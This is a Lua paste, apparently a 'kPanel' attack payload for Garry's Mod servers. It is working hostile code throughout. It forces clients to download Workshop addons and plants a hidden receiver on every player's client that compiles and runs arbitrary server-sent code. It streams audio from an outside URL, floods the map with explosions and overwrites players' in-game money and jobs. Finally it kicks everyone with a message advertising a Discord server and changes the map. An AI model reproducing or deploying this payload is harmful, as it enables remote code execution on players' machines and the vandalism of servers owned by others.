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Miudare57

The Untitled

Nov 21st, 2019
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Lua 20.71 KB | None | 0 0
  1. for k, v in pairs(player.GetAll()) do
  2.     v:SendLua("steamworks.FileInfo(1916383732,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
  3.     v:SendLua("steamworks.FileInfo(1911711876,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
  4.    
  5.     local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  6.     end
  7.     timer.Simple( 25, function()
  8.         util.AddNetworkString("faitleserv")
  9.         local props2 = ents.GetAll()
  10.         for _, prop in ipairs( props2 ) do
  11.             if(prop:GetPhysicsObject():IsValid()) then
  12.                 prop:SetModel("models/kpanel/K.mdl")
  13.                 prop:SetMaterial("phoenix_storms/Fender_white.vtf")
  14.                 prop:SetColor(0,0,185)
  15.             end
  16.         end
  17.         timer.Create("efdfeger"..math.random(500,50000), 1.5, 0, function()
  18.             local props2 = ents.GetAll()
  19.             for _, prop in ipairs( props2 ) do
  20.                 if(prop:GetPhysicsObject():IsValid()) then
  21.                     if(prop:GetModel() == "models/kpanel/K.mdl") then else
  22.                         prop:SetModel("models/kpanel/K.mdl")
  23.                         prop:SetMaterial("phoenix_storms/Fender_white.vtf")
  24.                         prop:SetColor(0,0,185)
  25.                     end
  26.                 end
  27.             end
  28.         end)
  29.         timer.Simple( 1, function()
  30.             for k,v in pairs(player.GetAll()) do
  31.                 v:SetRunSpeed(400* 4);
  32.                 v:SetWalkSpeed(400 * 4);
  33.             end
  34.         end)
  35.         for k, v in pairs( player.GetAll() ) do
  36.             if ( v:Alive() ) then
  37.                 v:GodEnable()
  38.                 v:SetModel("models/kpanel/K.mdl")
  39.                 v:SetMaterial("phoenix_storms/Fender_white.vtf")
  40.                 v:SetColor(0,0,185) else
  41.                 v:Spawn()
  42.                 timer.Simple( 5, function()
  43.                     v:GodEnable()
  44.                     v:SetModel("models/kpanel/K.mdl")
  45.                     v:SetMaterial("phoenix_storms/Fender_white.vtf")
  46.                     v:SetColor(0,0,185)
  47.                 end)
  48.             end
  49.         end
  50.  
  51. game.AddParticles( "particles/kpanel.pcf" )
  52.  
  53. PrecacheParticleSystem("kpanel")
  54.  
  55.         local function rdm_str(len)
  56.             if not len or len <= 0 then
  57.                 return ''
  58.             end
  59.             return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  60.         end
  61.         local net_string = rdm_str(25)
  62.         util.AddNetworkString(net_string)
  63.         BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  64.         hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  65.             if not ply:IsBot() then
  66.                 ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  67.         end
  68.     end)
  69.         local function SendToClient(code)
  70.             local data = util.Compress(code)
  71.             local len = #data net.Start(net_string)
  72.             net.WriteUInt(len, 16)
  73.             net.WriteData(data, len)
  74.             net.Broadcast()
  75.         end
  76.         timer.Simple( 1, function()
  77.             SendToClient([[
  78. game.AddParticles( "particles/kpanel.pcf" )
  79.  
  80. PrecacheParticleSystem("kpanel")
  81.  
  82.                 local defaultfov = LocalPlayer():GetFOV()
  83.                 local override = 70 hook.Add("CalcView", "EXROR_", function(ply, origin, angles, fov, znear, zfar) return { ["origin"] = origin, ["angles"] = angles, ["fov"] = override, ["znear"] = znear, ["zfar"] = zfar }
  84.             end)
  85.             local hide = { ["CHudHealth"] = true, ["CHudCrosshair"] = true }
  86.             hook.Add( "HUDShouldDraw", "HideHUD", function( name ) if ( hide[ name ] ) then return false end
  87.         end )
  88.         local prevFrame = {}
  89.         local prevValue = 2
  90.         local aveclazicmu = {}
  91.         hook.Add("HUDPaint", "bahouiilfautquemusiquesoitbien",function()
  92.             for k,v in pairs(aveclazicmu) do v() end
  93.         end)
  94.         SOUNDSTART_CTP = false
  95.         OZJFOZJCEZIO = true
  96.         sound.PlayURL("http://zekoryan.alwaysdata.net/loverdose.mp3","mono noblock noplay",function(s)
  97.             if not s then return end
  98.             if SOUNDSTART_CTP then s:Stop() return end
  99.             SOUNDSTART_CTP = true
  100.             s:SetVolume(6.5)
  101.             s:Play()
  102.             local ragtbl = {}
  103.             aveclazicmu["CoolEffect"] = function()
  104.             local tbl = {} s:FFT(tbl,FFT_4096) xpcall(function()
  105.             local fal = 0 for i=1,40 do
  106.                 fal = fal + tbl[i] end
  107.                 prevValue = Lerp(30 * FrameTime(), prevValue, fal) if fal > 2 then
  108.                     override = Lerp(10 * FrameTime(), override, fal * .875)
  109.                     net.Start("faitleserv") net.SendToServer()
  110.                 else
  111.                     override = Lerp(5 * FrameTime(), override, defaultfov)
  112.                     sent = false
  113.                 end
  114.             end,function()
  115.         end)
  116.     end
  117. end) ]])
  118. end)
  119. timer.Simple( 1, function()
  120. SendToClient([[
  121. -- timer.Simple(5, function()
  122. --  table.Empty(debug.getregistry())
  123. -- end)
  124. surface.CreateFont( "PixelCutsceneScaled",{ font = "Open Sans", size = 500, weight = 1000, antialias = true })
  125. surface.CreateFont( "PixelCutsceneScaledSmall",{ font = "Open Sans", size = 50, weight = 1000, antialias = true })
  126. surface.CreateFont( "PixelSmall",{ font = "Open Sans", size = 135, weight = 500, antialias = false })
  127. surface.CreateFont("lapolice", { font = "Open Sans", size = ScrW()*0.02, weight = 10, blursize = 0, scanlines = 2.5, antialias = false })
  128. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local w,h = ScrW(), ScrH() local W, H = ScrW(), ScrH()
  129. local MySelf = LocalPlayer()
  130. if ohno then ohno:Remove()
  131.     ohno = nil end
  132.     ohno = vgui.Create( "DFrame" )
  133.     ohno:SetSize( w, h )
  134.     ohno:SetPos(0,0)
  135.     ohno:SetDraggable ( false )
  136.     ohno:SetTitle("")
  137.     ohno:ShowCloseButton(false)
  138.     ohno.Paint = function( self )
  139.     surface.SetDrawColor(30, 30, 30, 0)
  140. end
  141. glitchtext = { "ERROR_ win $inf", "ERXOX_ win $inf", "EXROR_ win $inf", "XRRXR_ win $inf", "6H4CK_ win $inf", "GH4CK_ win $inf", "6HACK_ win $inf", "GHXCK_ win $inf", "EXXOX_ win $inf", }
  142. local pw, ph = w, h*0.6 local px, py = w/2-pw/2, h/2-ph/2
  143. local Close = vgui.Create( "DButton", ohno )
  144. Close:SetPos(px, py)
  145. Close:SetText( "" )
  146. Close:SetSize( pw, ph )
  147. Close.Paint = function( self, tw, th )
  148. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  149. local shift = math.sin(RealTime()*3)*1.5 + 5
  150. local text2 = "ERROR"
  151. draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  152. draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  153. end
  154. timer.Simple( 6, function()
  155. Close.Paint = function( self, tw, th )
  156. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  157. local shift = math.sin(RealTime()*3)*1.5 + 5
  158. local text = "kPanel" local down = [=[(/.__.)/ K \(.__.\)]=]
  159. draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  160. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  161. end
  162. timer.Simple( 10, function()
  163. Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  164. local text = "kPanel"
  165. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  166. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  167. end
  168.  
  169. end)
  170. timer.Simple( 24, function()
  171. for i = 1, 10 do
  172.         ParticleEffectAttach("kpanel",PATTACH_ABSORIGIN_FOLLOW,LocalPlayer(),0)
  173. end
  174.  
  175. Close.Paint = function( self, tw, th )
  176. local
  177. coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  178. local text = { "kPanel", "KPanel", "kP4nel", "kP4Nel", "KP4nel", "kPan€l", "kP4n€l", "Kp4N€l", "kPanXl", "KPANEL", "ERROR", }
  179. hook.Add( "Think", "omgilawinlebogos", function() plyk,plyv = table.Random(player.GetAll()) end)
  180. draw.SimpleText( Entity(plyv):Nick().." win $inf", "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  181. draw.SimpleText( Entity(plyv):Nick().." win $inf", "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  182. draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  183. end
  184. timer.Create("fff", 0.1, 0, function()
  185. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  186. end)
  187. hook.Add( "HUDPaint", "truckde merde", function()
  188. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  189. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  190. draw.DrawText( "K", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  191. draw.DrawText( "┬─┬ ノ( ゜-゜ノ)", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  192. draw.DrawText( "Random Guy", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  193. draw.DrawText( "V", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  194. draw.DrawText( "RIP", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  195. draw.DrawText( "kPanel", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  196. draw.DrawText( "Douge", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  197. draw.DrawText( "No Signal", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  198. draw.DrawText( "やや奇妙な", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  199. draw.DrawText( "Inplex", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  200. draw.DrawText( "Random Guy", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  201. draw.DrawText( "No Signal", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  202. draw.DrawText( "やや奇妙な", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  203. draw.DrawText( "Inplex", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  204. draw.DrawText( "kPanel", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  205. draw.DrawText( "kPanel", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  206. draw.DrawText( "kPanel", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  207. end)
  208. end)
  209. timer.Simple( 208, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  210. glitchtextend = { "ERROR_", "ERXOX_", "EXROR_", "XRRXR_", "6H4cK_", "EXXOX_", } draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  211. draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  212. end
  213. end)
  214. timer.Simple( 231, function()
  215. Close.Paint = function( self, tw, th )
  216. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  217. draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  218. draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  219. end
  220. end)
  221. timer.Simple( 232, function() Close.Paint = function( self, tw, th )
  222. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  223. draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  224. draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  225. end
  226. end)
  227. timer.Simple( 233, function()
  228. Close.Paint = function( self, tw, th )
  229. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
  230. draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  231. draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  232. end
  233. end)
  234. timer.Simple( 234, function()
  235. Close.Paint = function( self, tw, th )
  236. local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
  237. local shift = math.sin(RealTime()*3)*1.5 + 5
  238. local titeltext = "ERROR v2"
  239. local titeltextdow = "BY kPanel (untilted Remake by Douge <3)"
  240. draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  241. draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  242. draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  243. end
  244. end)
  245. local name = GetConVar("sv_skyname"):GetString()
  246. if name == "painted" then
  247.     local sky for _, v in ipairs(ents.GetAll()) do
  248.         if v:GetClass() == "env_skypaint" then
  249.             sky = v break
  250.         end
  251.     end
  252.     if not IsValid(sky) then return end
  253.     hook.Add("PostRender","\xFFsky\xFF",function()
  254.     local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local vsky = Vector(col.r / 255, col.g / 255, col.b / 255) sky:SetTopColor(vsky) sky:SetBottomColor(vsky)
  255. end)
  256. else
  257.     local prefix = {"lf","ft","rt","bk","dn","up"}
  258.     local mats = {} for i=1,6 do mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  259.     end
  260.     hook.Add("PostRender","\xFFsky\xFF",function() local r = 0.5*math.sin(RealTime()*0.5)*240 + 255 local g = -0.5*math.sin(RealTime()*0.5)*240 + 255 local b = 215 for i=1,6 do mats[i]:SetVector("$color",Vector(r/254,g/254,b/254))
  261.     end
  262. end)
  263. end
  264. timer.Create("aaneyjvkybtk", 0.01, 0, function()
  265. local mat = Entity(0):GetMaterials() local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local ve = Vector(col.r / 255, col.g / 255, col.b / 255) LocalPlayer():SetWeaponColor( Vector(ve) )
  266. for k,v in pairs(mat) do
  267.     local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local ve = Vector(col.r / 255, col.g / 255, col.b / 255) Material(v):SetVector("$color", ve)
  268. end
  269. end)
  270. hook.Add("Think","butifoule",function() local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local v = Vector(col.r / 255, col.g / 255, col.b / 255)
  271. for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
  272.     v:SetColor( col ) v:Activate()
  273. end
  274. for k,p in pairs(player.GetAll()) do
  275.     p:SetColor( col )
  276. end
  277. end)
  278. end)
  279. timer.Create("mdr-ta-thune", 15, 0, function()
  280. local fdcal = math.random(1,2) if fdcal == 1 then notification.AddLegacy( "Console set your money to $inf.", 0 , 5 ) else notification.AddLegacy( "Console set your health to $inf.", 0 , 5 ) end end) ]])
  281.         end)
  282.         timer.Create("ok", 1, 0, function()
  283.             for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
  284.             local phys = v:GetPhysicsObject() if (IsValid(phys)) then
  285.             phys:EnableMotion(true) end end end)
  286.             timer.Simple( 44, function()
  287.             timer.Create("ok", 1, 60, function()
  288.             local props = ents.GetAll() for _, prop in ipairs( props ) do
  289.             if(prop:GetPhysicsObject():IsValid()) then
  290.             prop:GetPhysicsObject():ApplyForceCenter( Vector( 100, 0, ((1500 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  291.             end
  292.             end
  293.             for i = 1, 15 do
  294.             local explode = ents.Create( "env_explosion" )
  295.             explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  296.             explode:Spawn()
  297.             explode:SetKeyValue( "iMagnitude", "500" )
  298.             explode:Fire( "Explode", 0, 0 )
  299.             end
  300.             for k,v in pairs(player.GetAll()) do
  301.             v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(500,600)))
  302.             end
  303.             end)
  304.             end)
  305.             timer.Simple( 166.5, function()
  306.                 timer.Create("ok2", 1, 48, function()
  307.                 local props = ents.GetAll()
  308.                 for _, prop in ipairs( props ) do
  309.                     if(prop:GetPhysicsObject():IsValid()) then
  310.                         prop:GetPhysicsObject():ApplyForceCenter( Vector( 100, 0, ((1500 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
  311.                         end
  312.                         end
  313.                         for i = 1, 15 do
  314.                         local explode = ents.Create( "env_explosion" )
  315.                         explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  316.                         explode:Spawn()
  317.                         explode:SetKeyValue( "iMagnitude", "500" )
  318.                         explode:Fire( "Explode", 0, 0 )
  319.                         end
  320.                         for k,v in pairs(player.GetAll()) do
  321.                         v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(500,600)))
  322.                         end
  323.                     end)
  324.             end)
  325.             timer.Simple( 240, function()
  326.                 local propsexplod = ents.GetAll()
  327.                 for _, prop in ipairs( propsexplod ) do
  328.                     if(prop:GetPhysicsObject():IsValid()) then
  329.                         local explosion = ents.Create("env_explosion")
  330.                         explosion:SetPos(vehicl:GetPos())
  331.                         explosion:Spawn()
  332.                         explosion:SetKeyValue("iMagnitude", "50")
  333.                         explosion:Fire("Explode", 0, 0)
  334.                     end
  335.                 end
  336.             end)
  337.             timer.Simple( 6, function()
  338.                 local sun = ents.FindByClass("env_sun")
  339.                     if #sun == 0 then return end
  340.                     sun = sun[1]
  341.                     hook.Add("Think","\xFFsun\xFF",function()
  342.                         sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
  343.                         sun:SetModelScale(120)
  344.                     end)
  345.                 end)
  346.             timer.Simple( 207, function()
  347.                 timer.Create("explodend", 1, 0, function()
  348.                     for i = 1, 10 do
  349.                         local explode = ents.Create( "env_explosion" )
  350.                         explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  351.                         explode:Spawn()
  352.                         explode:SetKeyValue( "iMagnitude", "500" )
  353.                         explode:Fire( "Explode", 0, 0 )
  354.                     end
  355.                 end)
  356.             end)
  357.             timer.Simple( 248, function()
  358.                 for i,v in ipairs(player.GetAll()) do
  359.                     if v == p then continue end
  360.                     v:Kick("\n[FR] Oh désolé, je ne me suis pas présenté ,je suis EXROR_ votre serveur a rencontré un problème que j'ai corrigé, vous pouvez maintenant retourner sur votre serveur !\n\n\nkPanel( https://discord.gg/2PP5z9n )\n\n------------------------------------------\n\n[EN] Oh sorry, I didn't introduce myself ,I'm EXROR_ your server has encountered a problem that I fixed, you can now go back to your server !\n\n\nCodially kPanel( https://discord.gg/2PP5z9n )")
  361.                 end
  362.             end)
  363.             timer.Simple( 249, function()
  364.                 RunConsoleCommand("changelevel", "gm_construct")
  365.             end)
  366.             net.Receive("faitleserv", function()
  367.                 for i = 1,2 do
  368.                     local explode = ents.Create( "env_explosion" )
  369.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  370.                     explode:Spawn() explode:SetKeyValue( "iMagnitude", "500" )
  371.                     explode:Fire( "Explode", 0, 0 )
  372.                 end
  373.                 local props = ents.GetAll()
  374.                 for _, prop in ipairs( props ) do
  375.                     if(prop:GetPhysicsObject():IsValid()) then
  376.                         prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((250 * 0.93) * prop:GetPhysicsObject():GetMass() ) ) )
  377.                     end
  378.                 end
  379.                 for k,v in pairs(player.GetAll()) do
  380.                     v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(50,100)))
  381.                 end
  382.             end)
  383.             local untitled_ = { "KPANEL", "KP4NEL", "KP4N€L","Kp4n€l" }
  384.             for k, v in pairs(player.GetAll()) do
  385.                 timer.Create("charglogo", 0, 0, function()
  386.                     v:setDarkRPVar("job", "JOB_"..table.Random( untitled_ )) v:setDarkRPVar("money", "1e+999")
  387.                 end)
  388.             end
  389.         end)
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